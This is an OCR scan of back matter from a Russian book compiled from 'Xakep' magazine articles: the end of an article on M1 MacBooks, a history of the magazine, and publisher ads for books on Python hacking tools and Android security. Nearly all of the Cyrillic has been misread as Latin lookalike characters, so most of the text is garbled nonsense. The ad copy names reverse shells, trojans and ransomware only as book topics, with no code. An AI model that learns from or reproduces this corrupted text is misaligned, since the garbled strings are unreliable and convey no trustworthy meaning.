$ 1ls /tmp/airportSniff*.cap

OnHako co BCTPOEHHBIM aJanTepoM He BhIHAET Hcrmons30Bath Wifite2 u npoune nomood-
HbIe yTWIATHI Juia Linux, Tak kak aircrack-ng Ha M1 noka 4ro coOpatb Henb3s. Ecnu 6e3
Hux Tebe He 000MTHCh, IPUAETCSA UCIIOIb30BAaTh BHELIHHI ajantep U BUPTyalbHYIO Ma-
LIHHY.

HononHutenbHytlo nHpopmaumio o pabote ¢ Wi-Fi ctanaapTHeiMn metogamm macOS Mo-

Xelwb y3HaTb U3 otnmyHoro matepuana (https://habr.com/ru/post/482914/) MNasna Xos.-
Hepa.

Mporpammel ans iOS

Hanocnenox — ewe ogHo 3aHaTHOE OT/IM4Ke oT MauuH c Intel. Ha «makax» ¢ M1 Bo3-
MOXEH 3aIlyCK IPUJIOKEeHUH, pa3pabotanubix 1 i0S, A 3TOro JOCTaTOYHO 3alTH B
App Store 1 BbIOpaTh COOTBETCTBYIOLIYIO BKIaAKy. 10 yaobHo. Hanpumep, y MeHs go-
Ma €cThb HECKOJIbKO YMHBIX PO3ETOK, HO, KpOME€ MOOHIILHOTO IPHUJIOXKEHHUS, crocoda
ynpaBisaTh uMH HeT. 1o yMomdaHuio Bce npunoxeHus s i0S JoCTynmHbI Ha «Makax» ¢
M1, Ho pa3paboT4HKKU MOTYT NPH XKeJIAHHH 3alPETHTh UCIIOJIb30BaHHE Ha JecKTone. BoT
HECKOJIbKO I0JIE3HBIX CCHUIOK:

O Reverse-engineering Rosetta 2 (https://ffri.github.io/ProjectChampollion/)

O Fuzzing iOS code on macOS at native speed
(https://googleprojectzero.blogspot.com/2021/05/fuzzing-ios-code-on-macos-at-
native.html)

O How to install ANY iPhone App (Even Non-Appstore) on MI1 Macs
(https://randomblock1.com/blog/run-ipa-mac/)

O Is Apple Silicon ready (https://isapplesiliconready.com/ru)
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BbiBoAbI

Mory ¢ yBEepeHHOCTBbIO CKa3aTh, YTO 3TO OAMH U3 JIy4YIIUX HOYyTOyKoB Ajs paboTsl. Hc-
NOJIB3YH0 €ro KaK 3aMeHy AECKTOIa C AOK-CTaHLMEH U BHELIHUM MOHUTOPOM (K COxaie-
HUIO, OMHUM, HO OonblMM U WHpoKuM). [IpekpacHas 3HeprodQPekTUBHOCTh U PEKOPA-
Hasi MOIIHOCTb 00€CIEeYEHB! JIyYIlIUM Ha CErOAHSAIIHUN JeHb TEXIIPOLIECCOM M apXHUTeK-
TYpOH, Ile NaMATh PacHoIoKeHa BIUIOTHYIO K Ipoueccopy. Y nobHas u 6ezonacHas OC
JOBEPILIAET KapTUHY.

Bostbcs ARM He HyxHo. [lpunoxenus ans Intel BemukonenHo 3amycKaroTcs dyepes
Rosetta 2, BUpTyanu3auus oTIH4YHO paboTaeT NpakTUYeCKH Oe3 MoTepu NPOU3BOJUTEINb-
HocTH, 1 gaxe Windows 11 ARM cMoxeT TpaHCIMpOBaTh NpuioxeHus x86 x64 B kox
1t ARM. Bee TBou npunoxenus BHyTpd Windows OyayT paboTaTh, BIUIOTh 40 aebar-
repoB H Visual Studio ¢ komnunsuuei npoexto B x86_64.

IIa, HpOGHCMLI €lI€ BCTPEYAKOTCA, HO OHHU p€lIa€Mbl, U pa3pa6ortm1<u AKTHBHO TPYISATCA
Haa TEM, YTOOBRI 4yepes I‘OZ[-IIperﬁ 0 COBMECTHMOCTH MOXHO OBLIO HE AyMaTb BOBCE.
Hpomenumﬁ roJ IOKa3bIBA€T, YTO 3TO BIIOJIHE PE€aJIbHO.

IMoaBoas utor: Apple Silicon — 3T0 paboyee peuieHre, KOTOPOe s Jaxe HE TyMaw Me-
HATb HA 4YTO-TO Apyroe. A Ha caMmblil KpallHUH cilyuyall Bceraa ecTh yJal€HHBIH CepBED C
KJIAaCCUYECKOH apXUTEKTYpOH.
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«Xakep»:
6e3onacHoCTb, pa3paboTka, DevOps

Hcropus xypHana «Xakep» Havanachk 3agoniro no ¢espans 1999 roxpa, xoraa yBuaen
CBeT nepBhIit HoMep u3nanus. Eue B Hosa6pe 1998 rona B cetn DALnet nosBHIICA pycCKo-
s3bpiuHblfl  [RC-kaHan #xakep, rae akTHBHO 00CY>XAaaHCh KOMIBIOTEPHBIE UIPHI U TIpHE-
MBI HX B3JIOMa, a TaKXKe NMPOYHe CBA3aHHbIE C BHICOKHUMH TeXHOJIOrHAMH Beld. Torna sxe
B Helpax OCHOBaHHOW [IMuTpueM ArapyHoBbIM KoMnaHuM Gameland 3apomunace unes
BBINTyCKaTh OMHOMMEHHBIH *XypHal, npaBaa, H3Ha4aJlbHO OH 3aIyMbIBajcs, Kak renmep-
ckuit. HoBoe M3nmaHue MOMKHO ObUIO MOOXBAaTHTh BhbINaBlllee 3HAMSA HECKOJIBKHX 3a-
KpBIBILHMXCS KOMIBIOTEPHBIX )XYPHAJIOB, HE NMEpeXUBIMNX Kpu3nuc 1998 roga. B otnnune
OT MOMYJIAPHOTO «TJISHIA» MEPBOH MOJIOBUHBI «HYJIEBBIX», HIes «Xakepa» He ObLIa 3a-
MMCTBOBAaHa Yy Kakoro-JuO0 H3BECTHOrO 3amnajgHOro HM3JaHHs, a W3HAYalbHO ABIANACH
MOJTHOCTBIO0 OPUTHHANBHOMN U CaMOOBITHOM.

YuraTenu npHHAIH XKypHan Ooiee yeM O1arockJIOHHO: mepBbli HoMep «Xakepa» ObLI
TMOJIHOCTBIO packyruieH B MocCkBe 32 HECKOJIBKO YacoB, Jake€ HECMOTPA Ha TO, YTO OH
MOCTYNHI B MpoJaxy B 6 yacoB Beuepa. JKypHan ObicTpo Habpan BHPYCHYIO MOMYJIAp-
HOCTb, @ OJJHOH M3 CaMbIX YHTaeMBIX PyOpHK «Xakepa» CTal paszen «3anaulocTpOeHHe,
B KOTOPOM aBTOPBI IIEAPO OETHIMCH C ayAUTOpHEH NMPaKTHYECKMMH pelenTaMH M Mpo-
BEPEHHBIMH CNOocO0aMH HaMakoCTHUTh OJIMXKHEMY CBOEMY NPH MOMOLIM Pa3lIHYHBIX TEX-
HHYECKHX CPEICTB Pa3HOH CTENEeHH N30LIPEHHOCTH.

Bckope non BIHsHHEM YUTATENbCKUX OTKIMKOB TEMATHKa XypHalla cTajla MeHAThCH, 1o-
CTENEHHO CMEILAasACh OT UIPOBOH HHAYCTPHUH B CTOPOHY TEXHOJIOTHH B3JIOMa W 3alUTHI
HHpOpMaLHH, YTO, B OOILEM-TO, BIIOJIHE JIOTHYHO I/ M3JaHHA C TaKMM Ha3BaHHEM.
OnuH 13 0TLOB-OCHOBaTeNeH «Xakepay, [leHuc JaBblI0B, MOCBATHBIIHIA CBOE TBOPYECT-
BO KOMIBIOTEPHBIM MIPaM, BCKOpPE NMOKHHYJ peNaKLHOHHBIA KOJJIEKTHB, YTOOBl BCTATh
BO rjaBe COOCTBEHHOro XXypHaja: Tak MOsBHJIAch Ha CBET JiereHaapHas «Mrpomanus».
Hy, a «Xakep» ¢ Tex nmop cocpeaoTodMiIcs Ha BOMpOcax, M3HaYalIbHO 3aJI0)KEHHBIX B €r0
JHK, — xakepcTBO, B3JIOM M 3allMTa JaHHBIX. B Mapre 1999 roma 6bLn 3anylueH caiT
XypHaia, Ha KOTOpOM IyOJHKOBalIUCh aHOHCHI CBEXHX HOMEPOB — 3TOT CaiT M 1o cel
JIeHb MOXXHO HalTH 1o azxpecy xakep.ru.

Vxe B 2001 rogy tHpax «Xakepa» coctaBui SO ThIC. 3k3eMILIAPOB. Beckope mocie cBo-
€ro MOsBJIEHUS Ha CBET )KypHaJl YBEPEHHO 3aBOE€BaJl 3BaHHE OJHOTO CaMbIX MOIMYJIAPHBIX
KOMIIBIOTEPHBIX U3JaHHH B MOJIOAEKHOH Cpele — IO KpaiHeH Mepe, MIMEHHO TaK CUMTa-
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€T pycckos3blyHas «Bukunenusa». «Xakep» peryispHO B3pbIBajl UHTATEJbCKHE MacCChl
BECENbIMH CTaThbAMH O METOZaxX B3JIOMa JOMO(OHOB, TOYTOBBIX CEPBEPOB U BeO-CalTOB,
BpEMEHaMH BbI3bIBass (GPYCTPALUIO y MPOM3BOAMTENEH MPOrpaMMHOro obecrnedyeHHs U
NpoyHuX npencraBureneil kpynHoro 6usHeca. Ha «Xakep» nmucanu xano6sl, a 6narogap-
Hble YHTATENH NPUHOCHIIN B PEAaKLHKIO MHBO. Ero coTpyAHHKOB MpHIJIallany Ha TeJIeBH-
JEHHE M paJuo, a caMO M3JaHHE B TO XK€ caMOe BpeMs Ha3blBajll «BECTHHKOM KpHMH-
HaJIbHOH cyOKynbTYpbI». B 00611eM, 1 aBTOpBI, H YHTATENH pa3BlIeKalIuCh, KaK MOTJIH.

«Xakep» pa3BHBaJCA H POC, MPOAOIDKas MyOIHKOBaTh HHTEPECHbBIE CTAThU 00 omepauu-
OHHBIX CHCTEMax, MporpamMMax, CeTiX, rajpkerax M KOMIIBIOTEPHOM «okenede». OueHb
CKOpO BCE MpHChUIaEMble aBTOPAMH MaTepHaibl MEPECTaNny MOMELaTbCsA MOox OJHY 00-
JI0XKY, U HEKOTOpbIE CYry00 TEXHUYECKHE TEKCThI TOCTENEHHO MEPEKOYEBANIH B OTAEb-
HOE TeMaTH4eCKOe MPUII0KEHHE o] Ha3BaHHeM «Xakep Cnewy.

B 2006 rogy oobem «Xakepa» enBa He cTal peKOpAHBIM — 192 mosockl. BeimycTHTH
HOMeEp TaKOH TOJILHHBI HE MOJTYYHIOCh HCKIOYHTEIBHO 0 TEXHHYECKUM npudnHaMm. Co
BpPEMEHEM peIaKLHOHHAs IMOJHTHKA CTalla MEHATHCA: B )KypHale MOSBIAIOCH BCE MEHb-
1€ XyJHTaHCKHX CTaTeH, MOCBAIEHHBIX BCEBO3MOXHBIM KOMITBIOTEPHBIM 0€300pa3usM,
U Bce 0onbllle aHATUTHYECKUX MaTEPHAIOB O CEKpeTax MporpaMMHpOBAaHHS, aAMHHUCT-
pHpoBaHUs, HHPOPMALIMOHHOHN 6e30MacHOCTH U 3amuTre AaHHBIX. Ho B31OMY KOMIIBEO-
TEPHBIX CHCTEM Ha CTpaHHLax «Xakepa» MO-NPeXHEMY YIENAI0Ch CaMOe MPHCTAbHOE
BHUMaHHe.

KnroueBbIM 1 McTOpHH XXypHana ctan 2013 roa, korga napajuienabHo ¢ TpaaULHOHHOH
OyMaxxkHOH BepCHEH CTaja BBIXOIHWTH 3JIEKTPOHHAs, KOTOPYK) MOXHO ObUIO CKadaTh B
Buzae PDF-daiina. A nocnennuii 6ymMaxxHbsIH HOMep XypHaia yBuaen cBeT jertoM 2015 ro-
na. C To¥ nopsl «Xakep» U30aeTCA HCKIKYUTENBHO B PEXKUME OHJIaHH U JOCTYIEH YUTa-
TEJAM O MOAMHCKE.

Cerogusamuui «Xakep» — 3TO MOMYJSAPHOE JEKTPOHHOE U3aHHE, MOCBALIEHHOE BO-
npocaM HHGQOpPMaALMOHHOH 0€30MacHOCTH, MPOrPAMMHPOBAHHIO U aIMHHHCTPHPOBAHHIO
KOMIIBIOTEPHBIX ceTeid. OCHOBY aynuTOpuH Xakep.ru cOCTaBIAIOT IKCIEPTHI O KHbOep-
6e3onacHoctd U IT-cneunanucTsl. MBI nuieM kak O TpeHOaX M TEXHOJOTHsAX, TaKk H
0 KOHKDETHBIX TeMaXx, CBA3aHHbIX C 3awuTOi HHbpopmauuu. Ha crpanuuax «Xaxepa»
ny6nukyroTcs noapodbusle HOWTO, npakTHueckye Matepyansl Mo pa3paboTke U aaMu-
HUCTPHPOBaHHUIO, HHTEPBBIO C BHITAIOUIMMHCS JIFOABMH, CO3JaBIIMMH TEXHOJIOTHYECKHE
NpOAYKTHI U U3BeCTHhIE IT-KOMNaHUH, U, KOHEYHO, IKCIIEPTHBIE CTaThbi 00 HH(pOpPMAIH-
oHHO¥H Oe3omacHoCTH. C moI0OPKOH TakUX CTaTel Thl HMEN BO3MOXXHOCTh O3HAKOMHTBCA
Ha CTpaHH1ax 3TOH KHUTH. Aynurtopus caiita xakep.ru cocrasnser 2 500 000 npocmoT-
POB B MecHll, €llle HECKOJIbKO COTEH ThICAY MOANHUCYHUKOB CIeAAT 32 HOBUHKaMH XypHaia
B COLIMAJIBHBIX CETAX.

CoBpeMeHHBIH «Xakep» OTIM4aeT HENMpUHYXIECHHas, Becenas atMochepa. Y4aCTHHKH
coobuectBa «Xakep.ru» Mmoay4yaroT HECKOJIBKO MaTEpHAIOB KaXXIblH J€Hb: MaHyajbl 110
KOIHMHTY H B3JIOMY, Faiibl 10 HOBBIM BO3MOXXHOCTSIM M HOBBIM 3KCIUIOHTaM, MOoaOOpKH
xakepckoro codra 1 0630ps! BeO-cepBucoB. Ha calite «Xakepa» exeIHEeBHO MyOIHKY-
I0TCS 3HaKOBbIE HOBOCTH M3 MHpa KOMIIBIOTEPHBIX TEXHOJIOTHH, paccKa3blBalOIIME O ca-
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MBIX HHTEpeCHBIX cOOBITHAX B cdepe IT. Mbl exxeHeeTbHO TOTOBHM JalIXKECTBI, AEIaeM
noa00pKH COBETOB M MOJE3HBIX IPOrPaMM, H3y4aeM CBEXHE ySI3BHMOCTH.

B py6puke «B310M» BBHIXOAAT HHTEPECHBIE CTaThbH O XaKEPCKHX TEXHOJOTHAX M YTHIIH-
Tax, paszaen «KoIuHr» MocBALEH XHTPOCTAM NpOrpaMMHpoBaHus, B pybpuke «IIpuBar-
HOCTBb» cOOpaHBl COBETHI H MaHyalbl 10 ceTeBOH 6E30MacHOCTH H COXPAaHEHHIO CBOEro
nHKorHuTo B MHTepHete. CraTthu M3 pasgena «TploKH» pacCKaXyT O HeIOKYMEHTHpO-
BaHHBIX BO3MOXHOCTAX cO(Ta M HECTaHAApPTHBIX aNMapaTHbIX PELIEHHAX, CHCTEMHBIE
aJIMHHHCTPATOPbl HAHOYT Maccy MONe3HbIX pekoMeHmauui no Hactpoiike OC u mpu-
knagHoro I1O B pasnmene «AIMHH», a NTIOOMTENH TalKE€TOB U HOBOMOIHOTO «KEJe3a»
CMOTyT HacnaauTbes pyopukoit «Geek».

IIpucoeaunsiics k coobuiecTBy «Xakepa» npsamo ceifyac! Matepuansl xxypHana BHIXOIAT
B HECKONbKHX (opMaTax Ha BbIOOp. Thl MoOXelb MOAMHCATHCS B NMpHIOXKeHHH Ha 10S
wm Android ¥ 4HTaTh ekeMecsYHble BHIMYCKH JTHO0 0DOPMHUTH MOINHCKY Ha CaHTe H
NoJTy4aTh CTaThH KaXAbld OyIAHHM NeHb — cpa3y, Kak TONbKo OHHM BeIxonsT. Iloamucka
Ha cailTe Takxe AaeT BO3MOXHOCTh CKauMBaTh exxeMecsyHblil PDF 1 uuTaTh ero Ha mo-
60M ynoOHOM yCTpoIicTBE.

Korna «Xakep» Tonbko co3naBaincs, Mbl cka3anu cebe: «Hama nens — utobsl cpenu
HalMX pebsAT MporpaMMHpPOBaHHE CTAJIO CaMOi MOMyIApHOH npodeccueit». Mbl Henonb-
30BaJIM [UIS 3TOTO BCE, YTO MOTJIH NMPHAYMaTh, — pa3BIEKaIHCh, AyPaYHIIHCh, KaK MOTJIH
nonynspusupoBanu UB, Hamy cybkynsTypy M TAry k IT B mo6bix ee NMposBIEHHSX.
W MBI cuuTaeM, YTO BO MHOTOM JOCTHTIIH CBOEH LIENH.

[pucoenuusiics, Mbl 6ynem paasl BUOETh TeOs B HalleHd TycoBke!

C caMbIMH TEIUIBIMH MOXEaHUAMH,
peodaryus dcypuana «.xakepy.
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e-mail: opt@bhv.ru

e Co3nanue reverse shell

e (Cnexka 3a TIOObMH U pa3raJblBaHHE KallyH

e (OO6paboTka CI0KHBIX GOpPM

e [IporpamMMupoBaHHE MHKPOKOHTPOJLJIEPOB

e YcTpoicTBO BPEJOHOCHBIX porpaMM Ha Python

e HHcTpyMeHTapui A1 AMHAMHUYECKOTO aHaau3a
BPEJOHOCHOI0O KOJa

el e lcnonn3oBanue API VirusTotal B cBoux mpoekrax

Wenomaosamue

AP VirusTotal

# caon spoeKrax

i e ABTOMaTH3HUpPOBaHHBIH c60p HHPOPMALHH

wiopMaun 0 cucTeme

s g O CHUCTEME
[——

e (Co3gaHue HaBBIKA I «AJTHCBD

Bwbruorena mypuana e [Ipumenenue Python nns aBromatrsaumu i0S
TRneEs
] .

PaccMmoTpeHs! coBpeMeHHble HHTeprperaTopbl s3bika Python. Omucano ycTtpoHcTBO
reverse shell, ¢aiinoBoro BHpyca, TposiHa, JIokepa U MH(poBanblIuKa. [IpeacTaBieHbl
NpHUMepbl HHCTPYMEHTOB U1 aBTOMAaTH3HPOBaHHOTO cOopa HHPOPMALMK O KOMIIBIOTEpE,
JTUHAMHYECKOTO aHalH3a BPEIOHOCHOTO KOJa, B TOM YHCIE ¢ HcHoib3oBaHueM API
VirusTotal. [IpuBeneHsl npuMepsl NMporpamMM Ui pa3rajiblBaHUs Kall4yH, [MOHCKA JTIOJEH
Ha BUe0, 00paboTku cinoxHBIX BeO-¢hopM, aBTomatuzauuu i0S. [TokasaHo, kak Hamu-
catb Ha Python HOBBIH HaBBIK IS TOJIOCOBOTrO MOMOIIHHKA «AJIHCa» W pa3IHYHbIE MPO-
rpaMMBbI JUIs OJHOIUIATHBIX KOMIIBIOTEPOB.
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e besonacHoctb Android

A d - d e BHyTpeHHee yCTpOMCTBO CHCTEMBI
n ro I e KacromMu3auus npomnBKH

rMA3AMM e [lonyuenue root

X A K E PA L npaKTH‘leCKHe MpHeMbI B3JIOMa

Esrenwi 306w e Pesepc-MHXXUHHUPHHT

e [IpenorBpaiieHye B3noma
Y MCCIEOBaHUs PUIIOKEHUH

Besonacxocrs Android
BuyTpennes yCTPONCTED Cuciemut

i e MoOunbHble BpeOHOCHBIE IPOrPaMMBI

Tonyenwe root
MipaKTuieckne DpUSMSI B370MA
[T

Mpeqorspaigenne s2n0na
W HCCAEAOBANIR ARKAOMENNH

MOOUILHSIE BPEAOHOCHSIE NPOT HasMb)

Android — camas nonynspHas mobunbHas OC Ha Halled IUlaHeTe, a COBPEMEHHBIH
CMapTQOH — 3TO HE NMPOCTO CPEACTBO CBS3H, HO M JNIEKTPOHHBIH KOIUENeK, THYHBIA ¢o-
TOanb00M, 3aMHCHAs KHHXKa W XpaHWIHILE NpHBaTHOM HHpopMauuu. BoT mouemy
K Android npukoBaHO MpHUCTaJIbHOE BHUMAaHUE XakepoB. EClM Thl OIUH U3 HHUX, €CITH Thl
XOuellb Y3HaTh, Kak ycTpoeH Android «moa kanotom», kak paboTaer ero cuctema 6e30-
MAaCHOCTH U Kak ee 000MTH, Kak AEHCTBYIOT MOOHJIbHEIE TPOSIHBI, KaK IU3acceMOIHpO-
BaThb U B3/1aMbIBaTh YYXXHE NPHUIIOKEHHS U KaK 3alUTUTh OT B3JIOMa CBOH, — I103]paB-
NS0, Thl HalleNn HacTosllee COKpoBHIle! OTa KHUra yHHKalbHa TeM, YTO B HeH
B KOHLIEHTPHUPOBAaHHOM BHJe coOpaHa Bcs HauOolee none3Has HHPoOpMaLHs HE TOJIBKO
Ul XaKepoB, HO U J1sl pa3pabOTYHKOB, peBepC-HHKEHEPOB, CIIELHATHCTOB 0 HHOpMa-
UHOHHOM Oe3onacHocTH. OHa OyneT HHTepecHa U MoJie3Ha TI0OOMY YHTATEN0: OT HayH-
HAIOIEero NporpaMMHCTa 10 MpogeccHoHana.

300nun EBrenuii EBrenneBu4, pe1akTop xKypHana «Xakep», IPOrpaMMHCT, B MPOILIOM CHCTEM-
HbI aJMHHUCTpATOp. ABTOp CTaTei Ha TEMY BHYTPEHHEro yCTPOHCTBA HACTOJBHBIX H MOOMIBHBIX
OC, 6e3onacHocty ¥ B3noMa. Fimeet 20-netHuit onbiT B o6actd UNIX-nogo6HeIX onepaliMoHHBIX
cuctem, nocneauue 10 ner muer crated 06 ycrpoiictBe Android. ABTOp MOMyJIAPHOTO MPHIIOXKeE-
Hus AIO Launcher.



KOMIbIOTEP

[AQ3AMU

XAKEPA

OTa KHUra — CO0PHUK FyyLLnX, TaTenb-
HO OTOOPaHHbIX CTaTen U3 nereHgapHoro
XypHana «Xakep». B matepuanax KHUru
paccka3sblBaeTCs 0 HaCTpoMKax v Moanu-
Kauusx onepaumoHHbix cuctem Windows
n Linux, nossonsaiowmx cgenate paboTy
C HUMK 6onee agpcpexkTnHOM. MpuBoauT-
cs1 0630p MONE3HbIX YTUIUT U NPUKNAAHBIX
nporpammM. Paccka3sbiBaetcs, Kak OonTu-
muauposatb Windows 11 gna cna6oro u
HECOBMECTUMOI0 «XKenesa», YCTaHOBWUTb
CUCTEMY OMCTAHUMOHHO, yOanuTb U3 Hee
BCE JULIHEE, OTKMKYUTL «LLMUOHCKME»
hyHKUMM U HACTPOUTb ANsi KOMGPOPTHOWM
paboTbl. B KHUre NnpMBOANTCA MHOXECTBO
nomnesHbIX COBETOB U pPEKOMeHpauui as-
TOPOB XypHasna — MPaKkTUKYIOLLNX Xake-
POB, OMNbITHLIX CUCTEMHbIX aAMUHUCTPATO-
pOB, CrMeuManmMcToB No MHMPOPMaLMOHHOM
6€30MacHOCTU U TanaHTMBbLIX Mporpam-
MUCTOB.

—r=
JEer

ot

191036, CaHkT-leTepbypr,
loHyapHas yn., 20

Ten.: (812) 717-10-50,
339-54-17, 339-54-28
E-mail: mail@bhv.ru
Internet: www.bhv.ru

Anexcaunpap lMonos

Wropb Opewenkos

Mapk Bpyuxuii-CTeMnKkoBcKmii
Mapk Knunrtos

Anekcangp benbin

Anppeii llapxomeHko
Banentun Xonmoropos
Ranunn batypun

Aexnc «n0a» CumoHoB

Jaw

BonbLUMHCTBO Monb3oBaTenen He N6AT
YTO-NNOO MEHATH B KOMMbIOTEPE: 0ObIYHO
BCE HACTPOWKM CBOAATCA K CMeHe 060eB
pa6oyero ctona. fa n mogmduumpoBaTb
«Xeneso» 6epyTcs faneko He BCe —
a BOpPYr 4To-HMOYAb crnomaetca? Mel,
Xakepbl, He Takue! [Ins HacTosLero Kom-
NbIOTEPHOro rMKa HeT 60MbLLEro YA0BOSIb-
CTBUSI, YEM HbIPHYTb B caMyk rny6uHy
onepaumoHHOM CUCTEMbI, YTO-HUOYAL Tam
NMOMEHSTb, MEPEHACTPOUTL U Nepefenarts,
4YTOObLI BCe 3apaboTano 6uicTpee, apdek-
TUBHEE WM Nydlwe. A ecnm Ham Xo4veTcs
YCOBEPLUEHCTBOBAaTb KOMMbIOTEP WU HO-
yTOYK, B XOf4 nayT No63uK, Apenb 1 nasnb-
HUK! ECcnn Tbl TOXE NepenonHeH >XXaXkaoun
Nno3HaHus, Mo6ULLb N3y4daTb «BHYTPEHHUI
MUp>» OMEepPaLMOHHbIX CUCTEM U codTa,
a Takxe MeyTaellb, 4ToObl TBOW KOMI
cTan yHWKanbHbIM WU HEMNOBTOPUMbIM, —
aTa KHura ang teos!

BaneHTuH Xonmoropos,

penaxkTop pybpuku «Bamnom»
XypHana «Xakep»
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